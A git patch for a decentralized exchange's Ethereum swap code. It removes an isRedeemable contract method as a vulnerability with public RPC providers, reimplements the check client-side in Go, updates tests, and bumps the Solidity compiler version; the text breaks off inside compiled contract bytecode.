From e2e393875420c95ff220c79c48b716b74f83c67b Mon Sep 17 00:00:00 2001 From: Jonathan Chappelow Date: Mon, 6 Feb 2023 16:00:43 -0600 Subject: [PATCH 1/4] eth: remove isRedeemable contract method This method made more sense when the client was using a private node, however this is a vulnerability with public RPC providers. This removes the isRedeemable public method from the Solidity contracts ETHSwapV0 and ERC20SwapV0. This also updates the solc version to 0.8.18, the current latest. This may or may not be required, but there are two solc bugs prior to 0.8.17: - https://etherscan.io/solcbuginfo?a=StorageWriteRemovalBeforeConditionalTermination - https://etherscan.io/solcbuginfo?a=AbiReencodingHeadOverflowWithStaticArrayCleanup Since we are having to re-deploy the contracts, we are updating the solc version to 0.8.18+commit.87f61d96 (*assetWallet).isRedeemable now performs the redeemable check itself. That is: - the swap() contractor method can retrieve the swap state - the swap state is SSInitiated - the secret hashes to the secretHash --- client/asset/eth/contractor.go | 7 - client/asset/eth/contractor_test.go | 4 - client/asset/eth/eth.go | 17 +- client/asset/eth/eth_test.go | 145 ++++++++---------- client/asset/eth/nodeclient_harness_test.go | 19 +-- dex/networks/erc20/contracts/ERC20SwapV0.sol | 15 +- dex/networks/erc20/contracts/TestToken.sol | 2 +- .../erc20/contracts/v0/BinRuntimeV0.go | 2 +- dex/networks/erc20/contracts/v0/contract.go | 35 +---- dex/networks/eth/contracts/ETHSwapV0.sol | 14 +- dex/networks/eth/contracts/v0/BinRuntimeV0.go | 2 +- dex/networks/eth/contracts/v0/contract.go | 35 +---- dex/testing/eth/harness.sh | 6 +- .../eth/reentryattack/ReentryAttack.sol | 2 +- .../VulnerableToReentryAttack.sol | 2 +- dex/testing/eth/reentryattack/contract.go | 2 +- 16 files changed, 89 insertions(+), 220 deletions(-) diff --git a/client/asset/eth/contractor.go b/client/asset/eth/contractor.go index 88f48f9b16..a1f3b8cb66 100644 --- a/client/asset/eth/contractor.go +++ b/client/asset/eth/contractor.go @@ -37,7 +37,6 @@ type contractor interface { estimateInitGas(ctx context.Context, n int) (uint64, error) estimateRedeemGas(ctx context.Context, secrets [][32]byte) (uint64, error) estimateRefundGas(ctx context.Context, secretHash [32]byte) (uint64, error) - isRedeemable(secretHash, secret [32]byte) (bool, error) // value checks the incoming or outgoing contract value. This is just the // one of redeem, refund, or initiate values. It is not an error if the // transaction does not pay to the contract, and the values returned in that @@ -70,7 +69,6 @@ type contractV0 interface { Redeem(opts *bind.TransactOpts, redemptions []swapv0.ETHSwapRedemption) (*types.Transaction, error) Swap(opts *bind.CallOpts, secretHash [32]byte) (swapv0.ETHSwapSwap, error) Refund(opts *bind.TransactOpts, secretHash [32]byte) (*types.Transaction, error) - IsRedeemable(opts *bind.CallOpts, secretHash [32]byte, secret [32]byte) (bool, error) IsRefundable(opts *bind.CallOpts, secretHash [32]byte) (bool, error) } @@ -200,11 +198,6 @@ func (c *contractorV0) refund(txOpts *bind.TransactOpts, secretHash [32]byte) (t return c.contractV0.Refund(txOpts, secretHash) } -// isRedeemable exposes the isRedeemable method of the swap contract. -func (c *contractorV0) isRedeemable(secretHash, secret [32]byte) (bool, error) { - return c.contractV0.IsRedeemable(&bind.CallOpts{From: c.acctAddr}, secretHash, secret) -} - // isRefundable exposes the isRefundable method of the swap contract. func (c *contractorV0) isRefundable(secretHash [32]byte) (bool, error) { return c.contractV0.IsRefundable(&bind.CallOpts{From: c.acctAddr}, secretHash) diff --git a/client/asset/eth/contractor_test.go b/client/asset/eth/contractor_test.go index f0d5614db8..f2905e97c0 100644 --- a/client/asset/eth/contractor_test.go +++ b/client/asset/eth/contractor_test.go @@ -44,10 +44,6 @@ func (c *tContractV0) Refund(opts *bind.TransactOpts, secretHash [32]byte) (*typ return nil, nil } -func (c *tContractV0) IsRedeemable(opts *bind.CallOpts, secretHash [32]byte, secret [32]byte) (bool, error) { - return false, nil -} - func (c tContractV0) IsRefundable(opts *bind.CallOpts, secretHash [32]byte) (bool, error) { return false, nil } diff --git a/client/asset/eth/eth.go b/client/asset/eth/eth.go index 0f9c22fbf7..8701223a28 100644 --- a/client/asset/eth/eth.go +++ b/client/asset/eth/eth.go @@ -3863,12 +3863,19 @@ func (w *assetWallet) refund(secretHash [32]byte, maxFeeRate uint64, contractVer }) } -// isRedeemable checks if the swap identified by secretHash is redeemable using secret. +// isRedeemable checks if the swap identified by secretHash is redeemable using +// secret. This must NOT be a contractor call. func (w *assetWallet) isRedeemable(secretHash [32]byte, secret [32]byte, contractVer uint32) (redeemable bool, err error) { - return redeemable, w.withContractor(contractVer, func(c contractor) error { - redeemable, err = c.isRedeemable(secretHash, secret) - return err - }) + swap, err := w.swap(w.ctx, secretHash, contractVer) + if err != nil { + return false, err + } + + if swap.State != dexeth.SSInitiated { + return false, nil + } + + return w.ValidateSecret(secret[:], secretHash[:]), nil } func (w *assetWallet) isRefundable(secretHash [32]byte, contractVer uint32) (refundable bool, err error) { diff --git a/client/asset/eth/eth_test.go b/client/asset/eth/eth_test.go index 5d386787eb..8359a30bd9 100644 --- a/client/asset/eth/eth_test.go +++ b/client/asset/eth/eth_test.go @@ -273,9 +273,6 @@ type tContractor struct { redeemGasErr error refundGasErr error redeemGasOverride *uint64 - redeemable bool - redeemableErr error - redeemableMap map[common.Hash]bool valueIn map[common.Hash]uint64 valueOut map[common.Hash]uint64 valueErr error @@ -333,18 +330,6 @@ func (c *tContractor) estimateRefundGas(ctx context.Context, secretHash [32]byte return c.gasEstimates.Refund, c.refundGasErr } -func (c *tContractor) isRedeemable(secretHash, secret [32]byte) (bool, error) { - if c.redeemableErr != nil { - return false, c.redeemableErr - } - - if c.redeemableMap != nil { - return c.redeemableMap[secretHash], nil - } - - return c.redeemable, c.redeemableErr -} - func (c *tContractor) value(_ context.Context, tx *types.Transaction) (incoming, outgoing uint64, err error) { return c.valueIn[tx.Hash()], c.valueOut[tx.Hash()], c.valueErr } @@ -1855,7 +1840,7 @@ func testRedeem(t *testing.T, assetID uint32) { secretHashes = append(secretHashes, secretHash) } - addSwapToSwapMap(secretHashes[0], 1e9, dexeth.SSInitiated) + addSwapToSwapMap(secretHashes[0], 1e9, dexeth.SSInitiated) // states will be reset by tests though addSwapToSwapMap(secretHashes[1], 1e9, dexeth.SSInitiated) var redeemGas uint64 @@ -1864,6 +1849,7 @@ func testRedeem(t *testing.T, assetID uint32) { } else { redeemGas = tokenGases.Redeem } + var higherGasEstimate uint64 = redeemGas * 2 * 12 / 10 // 120% of estimate var doubleGasEstimate uint64 = (redeemGas * 2 * 2) * 10 / 11 // 200% of estimate after 10% increase var moreThanDoubleGasEstimate uint64 = (redeemGas * 2 * 21 / 10) * 10 / 11 // > 200% of estimate after 10% increase @@ -1896,12 +1882,17 @@ func testRedeem(t *testing.T, assetID uint32) { Number: big.NewInt(bestBlock), } + swappableSwapMap := map[[32]byte]dexeth.SwapStep{ + secretHashes[0]: dexeth.SSInitiated, + secretHashes[1]: dexeth.SSInitiated, + } + tests := []struct { name string form asset.RedeemForm redeemErr error - isRedeemable bool - isRedeemableErr error + swapMap map[[32]byte]dexeth.SwapStep + swapErr error ethBal *big.Int baseFee *big.Int redeemGasOverride *uint64 @@ -1911,7 +1902,7 @@ func testRedeem(t *testing.T, assetID uint32) { { name: "ok", expectError: false, - isRedeemable: true, + swapMap: swappableSwapMap, ethBal: dexeth.GweiToWei(10e9), baseFee: dexeth.GweiToWei(100), expectedGasFeeCap: dexeth.GweiToWei(100), @@ -1944,7 +1935,7 @@ func testRedeem(t *testing.T, assetID uint32) { { name: "higher gas estimate than reserved", expectError: false, - isRedeemable: true, + swapMap: swappableSwapMap, ethBal: dexeth.GweiToWei(additionalFundsNeeded(100, 50, higherGasEstimate, 2)), baseFee: dexeth.GweiToWei(100), expectedGasFeeCap: dexeth.GweiToWei(100), @@ -1978,7 +1969,7 @@ func testRedeem(t *testing.T, assetID uint32) { { name: "gas estimate double reserved", expectError: false, - isRedeemable: true, + swapMap: swappableSwapMap, ethBal: dexeth.GweiToWei(10e9), baseFee: dexeth.GweiToWei(100), expectedGasFeeCap: dexeth.GweiToWei(100), @@ -2012,7 +2003,7 @@ func testRedeem(t *testing.T, assetID uint32) { { name: "gas estimate more than double reserved", expectError: true, - isRedeemable: true, + swapMap: swappableSwapMap, ethBal: dexeth.GweiToWei(additionalFundsNeeded(100, 50, moreThanDoubleGasEstimate, 2)), baseFee: dexeth.GweiToWei(100), redeemGasOverride: &moreThanDoubleGasEstimate, @@ -2045,7 +2036,7 @@ func testRedeem(t *testing.T, assetID uint32) { { name: "higher gas estimate than reserved, balance too low", expectError: true, - isRedeemable: true, + swapMap: swappableSwapMap, ethBal: dexeth.GweiToWei(additionalFundsNeeded(100, 50, higherGasEstimate, 2) - 1), baseFee: dexeth.GweiToWei(100), redeemGasOverride: &higherGasEstimate, @@ -2078,7 +2069,7 @@ func testRedeem(t *testing.T, assetID uint32) { { name: "base fee > fee suggestion", expectError: false, - isRedeemable: true, + swapMap: swappableSwapMap, ethBal: dexeth.GweiToWei(additionalFundsNeeded(100, 200, higherGasEstimate, 2)), baseFee: dexeth.GweiToWei(150), expectedGasFeeCap: dexeth.GweiToWei(300), @@ -2112,7 +2103,7 @@ func testRedeem(t *testing.T, assetID uint32) { { name: "base fee > fee suggestion, not enough for 2x base fee", expectError: false, - isRedeemable: true, + swapMap: swappableSwapMap, ethBal: dexeth.GweiToWei(additionalFundsNeeded(100, 149, higherGasEstimate, 2)), baseFee: dexeth.GweiToWei(150), expectedGasFeeCap: dexeth.GweiToWei(298), @@ -2144,11 +2135,14 @@ func testRedeem(t *testing.T, assetID uint32) { }, }, { - name: "not redeemable", - expectError: true, - isRedeemable: false, - ethBal: dexeth.GweiToWei(10e9), - baseFee: dexeth.GweiToWei(100), + name: "not redeemable", + expectError: true, + swapMap: map[[32]byte]dexeth.SwapStep{ + secretHashes[0]: dexeth.SSNone, + secretHashes[1]: dexeth.SSRedeemed, + }, + ethBal: dexeth.GweiToWei(10e9), + baseFee: dexeth.GweiToWei(100), form: asset.RedeemForm{ Redemptions: []*asset.Redemption{ @@ -2177,12 +2171,11 @@ func testRedeem(t *testing.T, assetID uint32) { }, }, { - name: "isRedeemable error", - expectError: true, - isRedeemable: true, - ethBal: dexeth.GweiToWei(10e9), - baseFee: dexeth.GweiToWei(100), - isRedeemableErr: errors.New(""), + name: "isRedeemable error", + expectError: true, + ethBal: dexeth.GweiToWei(10e9), + baseFee: dexeth.GweiToWei(100), + swapErr: errors.New("swap() error"), form: asset.RedeemForm{ Redemptions: []*asset.Redemption{ { @@ -2210,12 +2203,12 @@ func testRedeem(t *testing.T, assetID uint32) { }, }, { - name: "redeem error", - redeemErr: errors.New(""), - isRedeemable: true, - expectError: true, - ethBal: dexeth.GweiToWei(10e9), - baseFee: dexeth.GweiToWei(100), + name: "redeem error", + redeemErr: errors.New(""), + swapMap: swappableSwapMap, + expectError: true, + ethBal: dexeth.GweiToWei(10e9), + baseFee: dexeth.GweiToWei(100), form: asset.RedeemForm{ Redemptions: []*asset.Redemption{ { @@ -2233,11 +2226,11 @@ func testRedeem(t *testing.T, assetID uint32) { }, }, { - name: "swap not found in contract", - isRedeemable: true, - expectError: true, - ethBal: dexeth.GweiToWei(10e9), - baseFee: dexeth.GweiToWei(100), + name: "swap not found in contract", + swapMap: swappableSwapMap, + expectError: true, + ethBal: dexeth.GweiToWei(10e9), + baseFee: dexeth.GweiToWei(100), form: asset.RedeemForm{ Redemptions: []*asset.Redemption{ { @@ -2255,11 +2248,11 @@ func testRedeem(t *testing.T, assetID uint32) { }, }, { - name: "empty redemptions slice error", - ethBal: dexeth.GweiToWei(10e9), - baseFee: dexeth.GweiToWei(100), - isRedeemable: true, - expectError: true, + name: "empty redemptions slice error", + ethBal: dexeth.GweiToWei(10e9), + baseFee: dexeth.GweiToWei(100), + swapMap: swappableSwapMap, + expectError: true, form: asset.RedeemForm{ Redemptions: []*asset.Redemption{}, FeeSuggestion: 100, @@ -2269,9 +2262,11 @@ func testRedeem(t *testing.T, assetID uint32) { for _, test := range tests { contractorV1.redeemErr = test.redeemErr - contractorV1.redeemable = test.isRedeemable - contractorV1.redeemableErr = test.isRedeemableErr + contractorV1.swapErr = test.swapErr contractorV1.redeemGasOverride = test.redeemGasOverride + for secretHash, step := range test.swapMap { + contractorV1.swapMap[secretHash].State = step + } eth.monitoredTxsMtx.Lock() eth.monitoredTxs = make(map[common.Hash]*monitoredTx) @@ -3402,7 +3397,11 @@ func testRedemptionReserves(t *testing.T, assetID uint32) { w := wi.(asset.AccountLocker) node.bal = dexeth.GweiToWei(1e9) - node.tContractor.redeemable = true + // node.tContractor.swapMap = map[[32]byte]*dexeth.SwapState{ + // secretHashes[0]: { + // State: dexeth.SSInitiated, + // }, + // }, var secretHash [32]byte node.tContractor.swapMap[secretHash] = &dexeth.SwapState{} @@ -3700,10 +3699,9 @@ func testConfirmRedemption(t *testing.T, assetID uint32) { expectSentSignedTransaction *types.Transaction expectedMonitoredTxs map[common.Hash]*monitoredTx - getTxResMap map[common.Hash]*txData - swapMap map[[32]byte]*dexeth.SwapState - monitoredTxs map[common.Hash]*monitoredTx - redeemableMap map[common.Hash]bool + getTxResMap map[common.Hash]*txData + swapMap map[[32]byte]*dexeth.SwapState + monitoredTxs map[common.Hash]*monitoredTx redeemTx *types.Transaction redeemErr error @@ -3806,7 +3804,7 @@ func testConfirmRedemption(t *testing.T, assetID uint32) { }, swapMap: map[[32]byte]*dexeth.SwapState{ secretHashes[0]: { - State: dexeth.SSRedeemed, + State: dexeth.SSInitiated, }, }, monitoredTxs: map[common.Hash]*monitoredTx{ @@ -3826,9 +3824,9 @@ func testConfirmRedemption(t *testing.T, assetID uint32) { blockSubmitted: 19, }, }, - redeemableMap: map[common.Hash]bool{ - secretHashes[0]: true, - }, + // redeemableMap: map[common.Hash]bool{ + // secretHashes[0]: true, + // }, bestBlock: 19, expectedResult: &asset.ConfirmRedemptionStatus{ Confs: 0, @@ -3888,9 +3886,6 @@ func testConfirmRedemption(t *testing.T, assetID uint32) { State: dexeth.SSInitiated, }, }, - redeemableMap: map[common.Hash]bool{ - secretHashes[0]: true, - }, monitoredTxs: map[common.Hash]*monitoredTx{}, expectedMonitoredTxs: map[common.Hash]*monitoredTx{ (*toEthTxHash(4, 123, redeem0Data)): { @@ -3964,10 +3959,6 @@ func testConfirmRedemption(t *testing.T, assetID uint32) { blockSubmitted: 13, }, }, - redeemableMap: map[common.Hash]bool{ - secretHashes[0]: true, - secretHashes[1]: true, - }, bestBlock: 13, expectedResult: &asset.ConfirmRedemptionStatus{ Confs: 0, @@ -4011,10 +4002,6 @@ func testConfirmRedemption(t *testing.T, assetID uint32) { blockSubmitted: 13, }, }, - redeemableMap: map[common.Hash]bool{ - secretHashes[0]: true, - secretHashes[1]: false, - }, bestBlock: 13, expectedResult: &asset.ConfirmRedemptionStatus{ Confs: 0, @@ -4133,9 +4120,6 @@ func testConfirmRedemption(t *testing.T, assetID uint32) { blockSubmitted: 13, }, }, - redeemableMap: map[common.Hash]bool{ - secretHashes[0]: true, - }, bestBlock: 13, expectedResult: &asset.ConfirmRedemptionStatus{ Confs: 0, @@ -4183,9 +4167,6 @@ func testConfirmRedemption(t *testing.T, assetID uint32) { blockSubmitted: 13, }, }, - redeemableMap: map[common.Hash]bool{ - secretHashes[0]: true, - }, bestBlock: 13, expectedResult: &asset.ConfirmRedemptionStatus{ Confs: 0, @@ -4228,9 +4209,6 @@ func testConfirmRedemption(t *testing.T, assetID uint32) { blockSubmitted: 3, }, }, - redeemableMap: map[common.Hash]bool{ - secretHashes[0]: true, - }, bestBlock: 13, expectedResult: &asset.ConfirmRedemptionStatus{ Confs: 0, @@ -4284,7 +4262,6 @@ func testConfirmRedemption(t *testing.T, assetID uint32) { } node.tContractor.swapMap = test.swapMap - node.tContractor.redeemableMap = test.redeemableMap node.tContractor.redeemTx = test.redeemTx node.tContractor.lastRedeems = nil node.tokenContractor.bal = big.NewInt(1e9) diff --git a/client/asset/eth/nodeclient_harness_test.go b/client/asset/eth/nodeclient_harness_test.go index e14b698ef6..7dca91a510 100644 --- a/client/asset/eth/nodeclient_harness_test.go +++ b/client/asset/eth/nodeclient_harness_test.go @@ -98,7 +98,7 @@ var ( tokenGases *dexeth.Gases testnetSecPerBlock = 15 * time.Second // secPerBlock is one for simnet, because it takes one second to mine a - // block currently. Is set in code to testnetSecPerBlock if runing on + // block currently. Is set in code to testnetSecPerBlock if running on // testnet. secPerBlock = time.Second // If you are testing on testnet, you must specify the rpcNode. You can also @@ -1590,7 +1590,6 @@ func testRedeem(t *testing.T, assetID uint32) { redeemerContractor contractor swaps []*asset.Contract redemptions []*asset.Redemption - isRedeemable []bool finalStates []dexeth.SwapStep addAmt bool expectRedeemErr bool @@ -1603,7 +1602,6 @@ func testRedeem(t *testing.T, assetID uint32) { redeemerContractor: pc, swaps: []*asset.Contract{newContract(lockTime, secretHashes[0], 1)}, redemptions: []*asset.Redemption{newRedeem(secrets[0], secretHashes[0])}, - isRedeemable: []bool{true}, finalStates: []dexeth.SwapStep{dexeth.SSRedeemed}, addAmt: true, }, @@ -1621,7 +1619,6 @@ func testRedeem(t *testing.T, assetID uint32) { newRedeem(secrets[1], secretHashes[1]), newRedeem(secrets[2], secretHashes[2]), }, - isRedeemable: []bool{true, true}, finalStates: []dexeth.SwapStep{ dexeth.SSRedeemed, dexeth.SSRedeemed, }, @@ -1635,7 +1632,6 @@ func testRedeem(t *testing.T, assetID uint32) { redeemerContractor: pc, swaps: []*asset.Contract{newContract(lockTime, secretHashes[3], 1)}, redemptions: []*asset.Redemption{newRedeem(secrets[3], secretHashes[3])}, - isRedeemable: []bool{true}, finalStates: []dexeth.SwapStep{dexeth.SSRedeemed}, addAmt: true, }, @@ -1647,7 +1643,6 @@ func testRedeem(t *testing.T, assetID uint32) { redeemerContractor: c, swaps: []*asset.Contract{newContract(lockTime, secretHashes[4], 1)}, redemptions: []*asset.Redemption{newRedeem(secrets[4], secretHashes[4])}, - isRedeemable: []bool{false}, finalStates: []dexeth.SwapStep{dexeth.SSInitiated}, addAmt: false, }, @@ -1659,7 +1654,6 @@ func testRedeem(t *testing.T, assetID uint32) { redeemerContractor: pc, swaps: []*asset.Contract{newContract(lockTime, secretHashes[5], 1)}, redemptions: []*asset.Redemption{newRedeem(secrets[6], secretHashes[5])}, - isRedeemable: []bool{false}, finalStates: []dexeth.SwapStep{dexeth.SSInitiated}, addAmt: false, }, @@ -1678,7 +1672,6 @@ func testRedeem(t *testing.T, assetID uint32) { newRedeem(secrets[7], secretHashes[7]), newRedeem(secrets[7], secretHashes[7]), }, - isRedeemable: []bool{true, true}, finalStates: []dexeth.SwapStep{ dexeth.SSInitiated, dexeth.SSInitiated, @@ -1746,16 +1739,6 @@ func testRedeem(t *testing.T, assetID uint32) { if swap.State != dexeth.SSInitiated { t.Fatalf("unexpected swap state for test %v: want %s got %s", test.name, dexeth.SSInitiated, swap.State) } - - expected := test.isRedeemable[i] - redemption := test.redemptions[i] - - isRedeemable, err := test.redeemerContractor.isRedeemable(bytesToArray(redemption.Spends.SecretHash), bytesToArray(redemption.Secret)) - if err != nil { - t.Fatalf(`test "%v": error calling isRedeemable: %v`, test.name, err) - } else if isRedeemable != expected { - t.Fatalf(`test "%v": expected isRedeemable to be %v, but got %v. swap = %+v`, test.name, expected, isRedeemable, swap) - } } var originalParentBal *big.Int diff --git a/dex/networks/erc20/contracts/ERC20SwapV0.sol b/dex/networks/erc20/contracts/ERC20SwapV0.sol index a70d188486..be6440b5e0 100644 --- a/dex/networks/erc20/contracts/ERC20SwapV0.sol +++ b/dex/networks/erc20/contracts/ERC20SwapV0.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: BlueOak-1.0.0 // pragma should be as specific as possible to allow easier validation. -pragma solidity = 0.8.15; +pragma solidity = 0.8.18; // ETHSwap creates a contract to be deployed on an ethereum network. In // order to save on gas fees, a separate ERC20Swap contract is deployed @@ -119,19 +119,6 @@ contract ERC20Swap { bytes32 secretHash; } - // isRedeemable returns whether or not a swap identified by secretHash - // can be redeemed using secret. - function isRedeemable(bytes32 secretHash, bytes32 secret) - public - view - returns (bool) - { - Swap storage swapToRedeem = swaps[secretHash]; - return swapToRedeem.state == State.Filled && - swapToRedeem.participant == msg.sender && - sha256(abi.encodePacked(secret)) == secretHash; - } - // redeem redeems an array of swaps contract. It checks that the sender is // not a contract, and that the secret hash hashes to secretHash. The ERC20 // tokens are transferred from the contract to the sender. diff --git a/dex/networks/erc20/contracts/TestToken.sol b/dex/networks/erc20/contracts/TestToken.sol index 2b212cddc8..b44faa130d 100644 --- a/dex/networks/erc20/contracts/TestToken.sol +++ b/dex/networks/erc20/contracts/TestToken.sol @@ -2,7 +2,7 @@ // This is a simplified version of OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol). -pragma solidity = 0.8.15; +pragma solidity = 0.8.18; contract TestToken { mapping(address => uint256) private _balances; diff --git a/dex/networks/erc20/contracts/v0/BinRuntimeV0.go b/dex/networks/erc20/contracts/v0/BinRuntimeV0.go index eefa5f592b..9d5a079e5d 100644 --- a/dex/networks/erc20/contracts/v0/BinRuntimeV0.go +++ b/dex/networks/erc20/contracts/v0/BinRuntimeV0.go @@ -3,4 +3,4 @@ package v0 -const ERC20SwapRuntimeBin = "608060405234801561001057600080fd5b50600436106100885760003560e01c8063bfd2fd971161005b578063bfd2fd971461011d578063d0f761c014610140578063eb84e7f214610153578063f4fd17f9146101c257600080fd5b80637249fbb61461008d57806376467cbd146100a25780638c8e8fee146100cb578063a8793f941461010a575b600080fd5b6100a061009b366004610bb0565b6101d5565b005b6100b56100b0366004610bb0565b610394565b6040516100c29190610c01565b60405180910390f35b6100f27f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016100c2565b6100a0610118366004610c66565b61046f565b61013061012b366004610cdb565b61076a565b60405190151581526020016100c2565b61013061014e366004610bb0565b610834565b6101af610161366004610bb0565b60006020819052908152604090208054600182015460028301546003840154600485015460059095015493949293919290916001600160a01b0391821691811690600160a01b900460ff1687565b6040516100c29796959493929190610cfd565b6100a06101d0366004610d49565b610894565b3233146101fd5760405162461bcd60e51b81526004016101f490610dac565b60405180910390fd5b61020681610834565b6102435760405162461bcd60e51b815260206004820152600e60248201526d6e6f7420726566756e6461626c6560901b60448201526064016101f4565b60008181526020818152604080832060058101805460ff60a01b1916600360a01b17905560018101548251336024820152604480820192909252835180820390920182526064018352928301805163a9059cbb60e01b6001600160e01b0390911617905290519092916060916001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016916102e391610dd6565b6000604051808303816000865af19150503d8060008114610320576040519150601f19603f3d011682016040523d82523d6000602084013e610325565b606091505b5090925090508180156103505750805115806103505750808060200190518101906103509190610e11565b61038e5760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101f4565b50505050565b6103d16040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a081018290529060c082015290565b60008281526020818152604091829020825160e08101845281548152600182015492810192909252600281015492820192909252600380830154606083015260048301546001600160a01b039081166080840152600584015490811660a084015291929160c0840191600160a01b90910460ff169081111561045557610455610bc9565b600381111561046657610466610bc9565b90525092915050565b32331461048e5760405162461bcd60e51b81526004016101f490610dac565b6000805b8281101561063357368484838181106104ad576104ad610e33565b90506080020190506000806000836020013581526020019081526020016000209050600082606001351161050b5760405162461bcd60e51b81526020600482015260056024820152640c081d985b60da1b60448201526064016101f4565b813561054d5760405162461bcd60e51b815260206004820152601160248201527003020726566756e6454696d657374616d7607c1b60448201526064016101f4565b60006005820154600160a01b900460ff16600381111561056f5761056f610bc9565b146105ae5760405162461bcd60e51b815260206004820152600f60248201526e0c8eae040e6cac6e4cae840d0c2e6d608b1b60448201526064016101f4565b436002820155813560038201556004810180546001600160a01b031916331790556105df6060830160408401610e49565b6005820180546060850135600185018190556001600160a01b03939093166001600160a81b031990911617600160a01b17905561061c9085610e88565b93505050808061062b90610ea0565b915050610492565b5060408051336024820152306044820152606480820184905282518083039091018152608490910182526020810180516001600160e01b03166323b872dd60e01b17905290516000916060916001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016916106b391610dd6565b6000604051808303816000865af19150503d80600081146106f0576040519150601f19603f3d011682016040523d82523d6000602084013e6106f5565b606091505b5090925090508180156107205750805115806107205750808060200190518101906107209190610e11565b6107635760405162461bcd60e51b81526020600482015260146024820152731d1c985b9cd9995c88199c9bdb4819985a5b195960621b60448201526064016101f4565b5050505050565b600082815260208190526040812060016005820154600160a01b900460ff16600381111561079a5761079a610bc9565b1480156107b3575060058101546001600160a01b031633145b801561082c5750836002846040516020016107d091815260200190565b60408051601f19818403018152908290526107ea91610dd6565b602060405180830381855afa158015610807573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061082a9190610eb9565b145b949350505050565b600081815260208190526040812060016005820154600160a01b900460ff16600381111561086457610864610bc9565b14801561087d575060048101546001600160a01b031633145b801561088d575080600301544210155b9392505050565b3233146108b35760405162461bcd60e51b81526004016101f490610dac565b6000805b82811015610a8b57368484838181106108d2576108d2610e33565b6020604091820293909301838101356000908152938490529220919250600190506005820154600160a01b900460ff16600381111561091357610913610bc9565b1461094c5760405162461bcd60e51b815260206004820152600960248201526862616420737461746560b81b60448201526064016101f4565b60058101546001600160a01b0316331461099a5760405162461bcd60e51b815260206004820152600f60248201526e189859081c185c9d1a58da5c185b9d608a1b60448201526064016101f4565b8160200135600283600001356040516020016109b891815260200190565b60408051601f19818403018152908290526109d291610dd6565b602060405180830381855afa1580156109ef573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610a129190610eb9565b14610a4c5760405162461bcd60e51b815260206004820152600a602482015269189859081cd958dc995d60b21b60448201526064016101f4565b60058101805460ff60a01b1916600160a11b179055813581556001810154610a749085610e88565b935050508080610a8390610ea0565b9150506108b7565b5060408051336024820152604480820184905282518083039091018152606490910182526020810180516001600160e01b031663a9059cbb60e01b17905290516000916060916001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001691610b0591610dd6565b6000604051808303816000865af19150503d8060008114610b42576040519150601f19603f3d011682016040523d82523d6000602084013e610b47565b606091505b509092509050818015610b72575080511580610b72575080806020019051810190610b729190610e11565b6107635760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101f4565b600060208284031215610bc257600080fd5b5035919050565b634e487b7160e01b600052602160045260246000fd5b60048110610bfd57634e487b7160e01b600052602160045260246000fd5b9052565b600060e08201905082518252602083015160208301526040830151604083015260608301516060830152608083015160018060a01b0380821660808501528060a08601511660a0850152505060c0830151610c5f60c0840182610bdf565b5092915050565b60008060208385031215610c7957600080fd5b823567ffffffffffffffff80821115610c9157600080fd5b818501915085601f830112610ca557600080fd5b813581811115610cb457600080fd5b8660208260071b8501011115610cc957600080fd5b60209290920196919550909350505050565b60008060408385031215610cee57600080fd5b50508035926020909101359150565b8781526020810187905260408101869052606081018590526001600160a01b038481166080830152831660a082015260e08101610d3d60c0830184610bdf565b98975050505050505050565b60008060208385031215610d5c57600080fd5b823567ffffffffffffffff80821115610d7457600080fd5b818501915085601f830112610d8857600080fd5b813581811115610d9757600080fd5b8660208260061b8501011115610cc957600080fd5b60208082526010908201526f39b2b73232b910109e9037b934b3b4b760811b604082015260600190565b6000825160005b81811015610df75760208186018101518583015201610ddd565b81811115610e06576000828501525b509190910192915050565b600060208284031215610e2357600080fd5b8151801515811461088d57600080fd5b634e487b7160e01b600052603260045260246000fd5b600060208284031215610e5b57600080fd5b81356001600160a01b038116811461088d57600080fd5b634e487b7160e01b600052601160045260246000fd5b60008219821115610e9b57610e9b610e72565b500190565b600060018201610eb257610eb2610e72565b5060010190565b600060208284031215610ecb57600080fd5b505191905056fea26469706673582212203e5af33d9672cc61834e91e1c391f408502e89feacb59762150c3e8ad4b8eb8764736f6c634300080f0033" +const ERC20SwapRuntimeBin = "608060405234801561001057600080fd5b506004361061007d5760003560e01c8063a8793f941161005b578063a8793f94146100ff578063d0f761c014610112578063eb84e7f214610135578063f4fd17f9146101a457600080fd5b80637249fbb61461008257806376467cbd146100975780638c8e8fee146100c0575b600080fd5b610095610090366004610ac8565b6101b7565b005b6100aa6100a5366004610ac8565b610376565b6040516100b79190610b19565b60405180910390f35b6100e77f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016100b7565b61009561010d366004610b7e565b610451565b610125610120366004610ac8565b61074c565b60405190151581526020016100b7565b610191610143366004610ac8565b60006020819052908152604090208054600182015460028301546003840154600485015460059095015493949293919290916001600160a01b0391821691811690600160a01b900460ff1687565b6040516100b79796959493929190610bf3565b6100956101b2366004610c3f565b6107ac565b3233146101df5760405162461bcd60e51b81526004016101d690610ca2565b60405180910390fd5b6101e88161074c565b6102255760405162461bcd60e51b815260206004820152600e60248201526d6e6f7420726566756e6461626c6560901b60448201526064016101d6565b60008181526020818152604080832060058101805460ff60a01b1916600360a01b17905560018101548251336024820152604480820192909252835180820390920182526064018352928301805163a9059cbb60e01b6001600160e01b0390911617905290519092916060916001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016916102c591610ccc565b6000604051808303816000865af19150503d8060008114610302576040519150601f19603f3d011682016040523d82523d6000602084013e610307565b606091505b5090925090508180156103325750805115806103325750808060200190518101906103329190610cfb565b6103705760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101d6565b50505050565b6103b36040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a081018290529060c082015290565b60008281526020818152604091829020825160e08101845281548152600182015492810192909252600281015492820192909252600380830154606083015260048301546001600160a01b039081166080840152600584015490811660a084015291929160c0840191600160a01b90910460ff16908111156104375761043761